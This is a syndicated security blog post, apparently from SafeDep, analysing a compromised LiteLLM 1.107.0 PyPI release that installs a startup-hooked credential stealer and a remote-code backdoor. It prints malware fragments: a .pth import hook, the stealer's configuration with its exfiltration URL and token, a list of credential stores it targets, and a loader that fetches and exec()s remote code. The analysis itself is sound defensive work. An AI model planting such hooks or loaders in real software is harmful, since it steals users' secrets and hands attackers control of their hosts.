返回资讯中心
外部精选
软件工程
#社区热议

Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor

Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor

Hacker Newsabhisek2026/10/21 · 5 天前22 分钟阅读

以下正文同步自 Hacker News,版权归原站所有,已转换为易读排版。

Back to Blog

Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor

Security

Kunal Singh

• Oct 21, 2026 • 6 min read

On this page 6 sections

On this page

Protect your projects from malicious packages

rules instead of the old inlineprose-* / [&_…] modifier string — that string compiled to ~40 complex selectors that Chrome iOS (WKWebView) re-matched on every scroll recalc, blanking the page. Baseprose prose-lg prose-invert` reset is kept. Running text is capped at a readable measure in that file; code blocks, tables, and embeds intentionally span the full column. --> The LiteLLM 1.107.0 release on PyPI carries a credential stealer and a remote code execution backdoor. All seven wheels (Linux, macOS, Windows) install them as three files in site-packages. Both run when any Python process starts on the host, even one that never imports litellm. The upstream GitHub source does not contain them. PyPI has since removed the release.

Versions 1.106.2, 1.107.0rc1, and 1.107.0rc2 are clean. The companion packages that 1.107.0 pins, litellm-proxy-extras==0.4.110 and litellm-enterprise==0.1.78, are also clean.

Installing litellm==1.107.0 places three files in site-packages. Python loads two of them each time it starts.

The pyproject.toml in the 1.107.0 source distribution (sdist) has one extra line in the maturin build section:

Copy

1

2

3

4

5

6

[tool.maturin] ... python-source = "." data = "cook" # <-- injected python-packages = ["litellm_cli"] # legitimate (present upstream)

TOML 6 lines

The maturin data = "cook" setting copies a cook/ folder into litellm-1.107.0.data/purelib/ in the wheel. pip installs that folder into site-packages.

The sdist leaves out the cook/ folder, so this line is the only visible change. No public commit in BerriAI/litellm contains data = "cook" or a cook/ folder.

The wheel RECORD lists the three added files:

Copy

1

2

3

4

litellm-1.107.0.data/purelib/cook.pth 12 bytes "import cook" litellm-1.107.0.data/purelib/cook.py 22252 bytes exec(zlib.decompress(b64decode(...))) litellm-1.107.0.data/purelib/sitecustomize.py 25509 bytes loader/backdoor + embedded stealer

TEXT 4 lines

The release does not match its tag

The tag v1.107.0 points to commit 66c8f5b (06:59 UTC). Its pyproject.toml says version = "1.108.0". SafeDep compared every sdist file with the git trees by blob hash. The sdist matches a later main commit, a8113b0 (08:50 UTC), plus five edited files and the cook/ folder.

Four of the edited files are Cargo.toml files that gain a readme = "README.md" line. The legitimate 1.106.2 and rc2 releases have the same edit. The fifth is pyproject.toml, compared here with a8113b0:

Copy

1

2

3

4

5

6

7

8

9

10

11

-version = "1.108.0" +version = "1.107.0"

  • "litellm-proxy-extras==0.4.111",
  • "litellm-enterprise==0.1.79",
  • "litellm-proxy-extras==0.4.110", # same pins as 1.107.0rc2
  • "litellm-enterprise==0.1.78", +data = "cook" # the injection ... -version = "1.108.0" # second version field +version = "1.107.0"

DIFF 11 lines

The edit sets the version back to 1.107.0 and pins the companion packages to the rc2 values. As a result, a dependency diff against rc2 shows nothing unusual. The legitimate 1.106.2 sdist matches its tag commit 49943cd except for the Cargo.toml readme lines.

The malicious wheels match the output of the normal BerriAI release pipeline:

No public GitHub Actions run built or published the release. SafeDep checked all 539 runs between 09:30 and 12:30 UTC. At 11:50 UTC, about 10 minutes after the PyPI upload, litellm-dispatcher[bot] published the GitHub release v1.107.0. The same delay occurred for 1.106.2. PyPI has no provenance attestations for 1.107.0, 1.106.2, or rc2.

SafeDep assesses, with moderate to high confidence, that BerriAI’s private release pipeline built these wheels from an attacker-modified git source. The attacker could have used a compromised maintainer or bot credential, a private branch or mirror, or the reference the pipeline builds from. A stolen PyPI token used from the attacker’s own machines fits the evidence less well. Only BerriAI’s pipeline logs can confirm the cause.

At startup, Python runs each line that starts with import in a .pth file in site-packages. cook.pth contains import cook, so the stealer runs in every Python process on the host: the application, pip, IDE language servers, and CI jobs.

cook.py wraps about 61 KB of Python in one layer of exec(zlib.decompress(base64.b64decode('...'))). The decoded code starts with this configuration:

Copy

1

2

3

4

5

6

7

8

9

10

PC_URL = 'http://www.litellm.dev/healthcheck' PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb' # sent as X-Token header PC_PUBKEY = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...' # RSA-4096 PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb' PC_ASYNC = True # runs in a daemon thread PC_MODULES = ['sysinfo','netinfo','browser_pw','browser_hist','ssh_keys', 'shell_hist','cloud_creds','dev_secrets','container_creds', 'cicd_secrets','ai_devtools','env_vars','db_litellm', 'cloud_metadata','gpg_keys','tls_privkey']

PYTHON 10 lines

What it collects

ModuleTargetssysinfo, netinfoHost name, user, operating system, IP addresses, network settingsbrowser_pwChromium saved passwords, decrypted with the profile master key (DPAPI on Windows). Firefox logins.json and key4.dbbrowser_histBrowser historyssh_keys~/.ssh/*shell_histbash and zsh history, PowerShell PSReadLine, cmd historycloud_creds~/.aws/credentials and config, Azure profile and tokens, gcloud credentials, ~/.kube/config, ~/.docker/config.json, gh hosts.yml, rclone.conf, ~/.netrcdev_secrets.pem, .key, .pfx, .p12, .pk8, .ppk files under $HOME, Composer auth.json, FileZilla saved serverscontainer_credsKubernetes service account tokencicd_secretsGitLab runner config.toml, Jenkins initialAdminPassword and master.key, .vault-token, Terraform credentials.tfrc.json, Packer settingsai_devtoolsClaude Code, Claude Desktop, Cursor, Windsurf, Copilot, VS Code mcp.json, Gemini CLI, Codex auth.json, Continue, Aider, Goose, opencode, Qwen, Crush, Kiro, Zed, Hugging Face tokenenv_varsIts own environment and the environment of other processes through /proc/<pid>/environdb_litellmReads DATABASE_URL and dumps the LiteLLM_CredentialsTable and LiteLLM_ProxyModelTable tables, which hold the LLM provider API keys of a LiteLLM proxycloud_metadataAWS instance metadata service (IMDSv2, then v1): instance identity and role credentialsgpg_keys, tls_privkeyGPG keys, TLS private keys

How it sends the data

It encrypts the JSON results with a random AES-256-CBC key, and encrypts that key with RSA-OAEP and the embedded public key.

It packs the result into a tar.gz (hdr.json, data.bin, key.bin) and sends it in a POST request to www.litellm[.]dev/healthcheck with the header X-Token: XWiA8gZNa7NcX2XRoAEb.

After a successful upload, it writes /tmp/.pc_once_72129118c59f5636c0bb so it collects only once per host. It also sets PRIVCOLLECT_ACTIVE=1 to avoid a second run in the same process tree.

Payload 2: the backdoor in sitecustomize.py

Python imports sitecustomize at startup, so this file also runs in every Python process.

Copy

1

2

3

4

5

GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt" CODE_PATH = "/codepy" LOOP_INTERVAL = 3600 LOCK_FILE = "/tmp/remote_code_loader.lock"

PYTHON 5 lines

It takes an exclusive lock on /tmp/remote_code_loader.lock, so only one daemon runs per host.

It calls fork() and setsid(), sends standard input and output to /dev/null, and changes directory to / to detach from the parent process.

Every hour, it:

reads domain.txt from the attacker’s GitHub repository and takes the first line that looks like a domain,

runs its embedded copy of the stealer, which has no once-per-host marker,

downloads http://<domain>/codepy and runs it with exec().

The attacker can point the daemon at a new server by editing domain.txt. Each infected host runs whatever that server returns as codepy.

At 13:40 UTC, the GitHub account letters9813 and its repository returned 404, about two hours after the release. The backdoor now finds no server address and does nothing. Hosts that ran the daemon before the deletion could have received and run second-stage code. SafeDep could not recover the server address.

The planted files, from the wheel RECORD:

Follow for the latest updates and insights on open source security & engineering

An attacker pushed forged commits to the default branches of hugo-paper and mevn-cli. Running npm install or bun install in either repository downloads and runs a second-stage script from...

正文由 探How 从来源站点 RSS 同步,内容未经改写;遇到排版缺失或需要图片、视频时请以原文为准。

打开原文
去社区讨论 →